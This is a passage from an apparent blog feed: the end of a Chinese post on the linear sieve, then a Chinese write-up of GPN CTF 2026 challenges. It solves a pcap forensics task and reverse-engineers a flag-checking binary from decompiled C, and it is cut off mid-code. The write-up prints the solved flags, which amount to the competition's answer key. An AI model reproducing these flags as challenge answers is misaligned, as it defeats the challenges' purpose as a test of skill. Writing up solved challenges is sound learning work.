encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為質數</li><li>考慮將合數拆解成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><msub><mi>p</mi><mi>n</mi></msub><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">n=p_nn^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">p_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的最小質因數，怎麼在已知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(n^\prime)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>下計算出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span><ul><li>分別考慮<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub><mo>∣</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">p_n \mid n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>和<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub><mo>∤</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">p_n \nmid n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9925em;vertical-align:-0.2514em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">∤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>的情形</li></ul></li></ol><p>接著照樣造程式即可！</p><h1 id="%E5%8F%83%E8%80%83%E8%B3%87%E6%96%99" tabindex="-1">參考資料</h1><ul><li><a href="https://oi-wiki.org/math/number-theory/sieve/">筛法 - OI Wiki</a></li><li><a href="https://nthu-cp.github.io/NTHU-CPP/math/linear_sieve.html">Linear Sieve - NTHU CPP</a></li><li><a href="https://home.gamer.com.tw/artwork.php?sn=5134077">線性篩法 (不專業講解) - terryobeyes的創作 - 巴哈姆特</a></li></ul>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/11/%E6%BC%94%E7%AE%97%E6%B3%95-%E7%B7%9A%E6%80%A7%E7%AF%A9/</id>
    <link href="https://r3xdj.pages.dev/2026/06/11/%E6%BC%94%E7%AE%97%E6%B3%95-%E7%B7%9A%E6%80%A7%E7%AF%A9/"/>
    <published>2026-06-11T05:08:47.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E5%9F%83%E6%8B%89%E6%89%98%E6%96%AF%E7%89%B9%E5%B0%BC%E7%AF%A9%E6%B3%95" tabindex="-1">埃拉托斯特尼篩法</h1>
<p>我們從大家國一就學過的<strong>埃拉托斯特尼篩法]]>
    </summary>
    <title>[演算法] 線性篩</title>
    <updated>2026-06-11T05:08:47.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="CTF Writeup" scheme="https://r3xdj.pages.dev/categories/Cyber/CTF-Writeup/"/>
    <category term="misc" scheme="https://r3xdj.pages.dev/tags/misc/"/>
    <category term="reverse" scheme="https://r3xdj.pages.dev/tags/reverse/"/>
    <category term="CTF" scheme="https://r3xdj.pages.dev/tags/CTF/"/>
    <category term="forensics" scheme="https://r3xdj.pages.dev/tags/forensics/"/>
    <content>
      <![CDATA[<p>因為考上台大了，這個暑假打算上CTFtime上找一些比賽來打。本來想說畢業當周周末來打這個GPN CTF 2026，結果開賽前突然看到零日餅乾社裡傳一個ISIP-HS CTF，比賽時間包含這個GPN CTF，結果就變成GPN CTF只解了兩三題(還簡單題XD)(都在打ISIP-HS CTF)。</p><h1 id="sanity-check" tabindex="-1">Sanity Check</h1><p><img src="2026-06-08-17-35-40.png" alt="Sanity Check"><br>Welcome題，點進Rule看即可<br><img src="2026-06-08-17-38-00.png" alt="rule"><br>Flag: <code>GPNCTF{Yes Chef! I am ready for a fair competition}</code></p><h1 id="double-fried" tabindex="-1">Double Fried</h1><p><img src="2026-06-08-17-38-52.png" alt="Double Fried"><br>題目給了一個pcap檔案，用Wireshark去開<br><img src="2026-06-08-17-48-48.png" alt=""><br><img src="2026-06-08-17-51-19.png" alt=""><br>發現訊息有R開頭跟F開頭兩種，而從圖一可以猜出F開頭的是雜訊，所以我們只看R開頭的。<br>用<code>frame contains &quot;R&quot;</code>進行篩選<br>然後手動把Flag字母接起來<s>因為我也只會人工接起來</s><br>Flag: <code>GPNCTF{NICe, yOu FoUnD 0U7 wHO dID NOt b3L0ng ThEr3}</code></p><h1 id="auto-cooker" tabindex="-1">Auto Cooker</h1><p><img src="2026-06-08-17-43-39.png" alt="Auto Cooker"><br>把題目給的檔案丟進IDA逆向</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">int</span> __fastcall <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span><span class="token operator">*</span>argv<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">char</span> <span class="token operator">*</span><span class="token operator">*</span>envp<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  _BOOL4 v4<span class="token punctuation">;</span> <span class="token comment">// [rsp+1Ch] [rbp-4h]</span>  v4 <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span> argc <span class="token operator">></span> <span class="token number">1</span> <span class="token punctuation">)</span>    v4 <span class="token operator">=</span> <span class="token function">strcmp</span><span class="token punctuation">(</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"cooking_class"</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"%s"</span><span class="token punctuation">,</span> HEADER<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"%s\n\n"</span><span class="token punctuation">,</span> WELCOME<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Enter your recipe (flag) you want to cook and confirm with [ENTER]:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">fgets</span><span class="token punctuation">(</span>RECIPE<span class="token punctuation">,</span> <span class="token number">64</span><span class="token punctuation">,</span> _bss_start<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">check_recipe_length</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  FOOD <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span>_QWORD <span class="token operator">*</span><span class="token punctuation">)</span>RECIPE<span class="token punctuation">;</span>  qword_404128 <span class="token operator">=</span> qword_4040E8<span class="token punctuation">;</span>  qword_404130 <span class="token operator">=</span> qword_4040F0<span class="token punctuation">;</span>  qword_404138 <span class="token operator">=</span> qword_4040F8<span class="token punctuation">;</span>  qword_404140 <span class="token operator">=</span> qword_404100<span class="token punctuation">;</span>  qword_404148 <span class="token operator">=</span> qword_404108<span class="token punctuation">;</span>  qword_404150 <span class="token operator">=</span> qword_404110<span class="token punctuation">;</span>  qword_404158 <span class="token operator">=</span> qword_404118<span class="token punctuation">;</span>  <span class="token function">explain_current_food</span><span class="token punctuation">(</span>v4<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">salt</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">explain_current_food</span><span class="token punctuation">(</span>v4<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">fry</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">explain_current_food</span><span class="token punctuation">(</span>v4<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">explain_current_food</span><span class="token punctuation">(</span>v4<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">mix</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">explain_current_food</span><span class="token punctuation">(</span>v4<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">taste</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Congratulations, you \"cooked\" a delicious plate of food!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>發現它會對輸入做一連串處理，最後<code>taste</code>品嘗一下<br>看起來是他會檢查你的輸入是不是Flag，是的話就會Congratulations<br>首先是我們後面的函式如果要執行，都需要<code>v4</code>為真才行(看完下面程式碼你就動了)，所以我們在執行程式時需要傳入<code>cooking_class</code>這個參數。也就是</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">./autocooker cooking_class<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>接著一一分析每個函式</p><h2 id="check_recipe_length" tabindex="-1" id="check-recipe-length">check_recipe_length</h2><pre class="line-numbers language-c" data-language="c"><code class="language-c">__int64 <span class="token function">check_recipe_length</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span> RECIPE<span class="token punctuation">[</span>TARGET_LENGTH<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token punctuation">(</span>result <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> __int8<span class="token punctuation">)</span>RECIPE<span class="token punctuation">[</span>TARGET_LENGTH <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">!</span><span class="token punctuation">(</span>_BYTE<span class="token punctuation">)</span>result<span class="token punctuation">)</span> <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Your recipe is too complicated or too simple, I already know it won't taste good :("</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>我們分析</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">RECIPE<span class="token punctuation">[</span>TARGET_LENGTH<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token punctuation">(</span>result <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> __int8<span class="token punctuation">)</span>RECIPE<span class="token punctuation">[</span>TARGET_LENGTH <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">!</span><span class="token punctuation">(</span>_BYTE<span class="token punctuation">)</span>result<span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>這個判斷式的意思。<br>前半段檢查是否<code>RECIPE[TARGET_LENGTH] != 0</code>。由於C的字串結尾會填入<code>\0</code><br>後半段用了<code>,</code>運算符，代表先執行前面的<code>result = (unsigned __int8)RECIPE[TARGET_LENGTH - 1]</code>，再用<code>!(_BYTE)result</code>進行判斷，<br>即檢查是否<code>result == 0</code>。因此上面那串等價於：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">RECIPE<span class="token punctuation">[</span>TARGET_LENGTH<span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token char">'\0'</span><span class="token operator">||</span> <span class="token comment">// OR</span>RECIPE<span class="token punctuation">[</span>TARGET_LENGTH<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token char">'\0'</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>而<code>RECIPE</code>是用fget讀入，因此字串結尾會是<code>\n\0</code></p><p>而我們點進去<code>TARGET_LENGTH</code>可以看到他的數值為<code>3Dh</code>，轉成10進位就是61。<br>因此我們需要輸入長度為60的字串(加上<code>'\n'</code>剛好61個字)<br>即Flag的長度為60</p><h2 id="salt" tabindex="-1" id="salt">salt</h2><pre class="line-numbers language-c" data-language="c"><code class="language-c">__int64 <span class="token function">salt</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span>  <span class="token keyword">unsigned</span> <span class="token keyword">int</span> i<span class="token punctuation">;</span> <span class="token comment">// [rsp+Ch] [rbp-4h]</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Salting..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">;</span> <span class="token operator">++</span>i <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    result <span class="token operator">=</span> i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> i <span class="token operator">></span> <span class="token number">0x3F</span> <span class="token punctuation">)</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>i<span class="token punctuation">)</span> <span class="token operator">^=</span> GRAIN_OF_SALT<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這串程式碼表示將字串中的每個字(包括最後的<code>\n</code>和<code>\0</code>，還有字串後面(因為雖然字串結束了，但<code>RECIPE</code>(或說<code>FOOD</code>)陣列大小為64，還沒結束)陣列初始化時的兩個<code>\0</code>)和<code>GRAIN_OF_SALT</code> XOR<br>點進去可發現<code>GRAIN_OF_SALT</code>的值為<code>0AAh</code>，即0xAA</p><h2 id="fry" tabindex="-1" id="fry">fry</h2><pre class="line-numbers language-c" data-language="c"><code class="language-c">__int64 <span class="token function">fry</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span>  <span class="token keyword">signed</span> <span class="token keyword">int</span> i<span class="token punctuation">;</span> <span class="token comment">// [rsp+Ch] [rbp-4h]</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Frying..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">;</span> <span class="token operator">++</span>i <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    result <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span><span class="token punctuation">)</span>i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span><span class="token punctuation">)</span>i <span class="token operator">></span> <span class="token number">0x3F</span> <span class="token punctuation">)</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> i<span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> i<span class="token punctuation">)</span> <span class="token operator">>></span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token punctuation">(</span><span class="token number">16</span> <span class="token operator">*</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> i<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>依樣是對每個字操作，操作為以下這句：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> i<span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> i<span class="token punctuation">)</span> <span class="token operator">>></span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token punctuation">(</span><span class="token number">16</span> <span class="token operator">*</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> i<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>我們先令<code>unsigned char x = *((_BYTE *)&amp;FOOD + i);</code>，則上面那段程式碼變為：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">x <span class="token operator">=</span> <span class="token punctuation">(</span> x <span class="token operator">>></span> <span class="token number">4</span> <span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token punctuation">(</span> <span class="token number">16</span> <span class="token operator">*</span> x <span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><code>x &gt;&gt; 4</code>會取出x的高4位<br><code>16 * x</code>相當於<code>x &lt;&lt; 4</code>，又一個char只有8bits，因此多出來的4bits會直接被捨棄</p><p>比如若<code>x = 0x10111001</code><br><code>x &gt;&gt; 4</code> 為 0x00001011<br><code>16 * x</code> 為 0x10010000</p><p>因此這個函式的功能是交換每個字的高4bits和低4bits，如0xED變成0xDE。</p><h2 id="trim" tabindex="-1" id="trim">trim</h2><pre class="line-numbers language-c" data-language="c"><code class="language-c">__int64 <span class="token function">trim</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span>  <span class="token keyword">unsigned</span> <span class="token keyword">int</span> i<span class="token punctuation">;</span> <span class="token comment">// [rsp+Ch] [rbp-4h]</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Oops, it burned :(\nCutting off the burnt bits..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span> i <span class="token operator">=</span> TARGET_LENGTH<span class="token punctuation">;</span> <span class="token punctuation">;</span> <span class="token operator">++</span>i <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    result <span class="token operator">=</span> i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> i <span class="token operator">></span> <span class="token number">0x3F</span> <span class="token punctuation">)</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token keyword">int</span><span class="token punctuation">)</span>i<span class="token punctuation">)</span> <span class="token operator">&amp;=</span> <span class="token number">0xFu</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>for迴圈從<code>i = TARGET_LENGTH</code>，即<code>0x3D</code>開始，<br>而和0xFu (u代表unsigned int) AND 表示刪除高4bits。<br>因此此函式功能為：刪掉末三個數的高位<br>因此<br>0xAA 0xAA 0xAA --&gt; 0x0A 0x0A 0x0A</p><h2 id="mix" tabindex="-1" id="mix">mix</h2><pre class="line-numbers language-c" data-language="c"><code class="language-c">__int64 <span class="token function">mix</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  __int64 result<span class="token punctuation">;</span> <span class="token comment">// rax</span>  _QWORD v1<span class="token punctuation">[</span><span class="token number">9</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// [rsp+0h] [rbp-50h]</span>  <span class="token keyword">unsigned</span> <span class="token keyword">int</span> i<span class="token punctuation">;</span> <span class="token comment">// [rsp+4Ch] [rbp-4h]</span>  <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"Mixing..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> FOOD<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404128<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404130<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404138<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404140<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">5</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404148<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">6</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404150<span class="token punctuation">;</span>  v1<span class="token punctuation">[</span><span class="token number">7</span><span class="token punctuation">]</span> <span class="token operator">=</span> qword_404158<span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">;</span> <span class="token operator">++</span>i <span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    result <span class="token operator">=</span> i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> i <span class="token operator">></span> <span class="token number">0x3F</span> <span class="token punctuation">)</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token punctuation">(</span>_BYTE <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>FOOD <span class="token 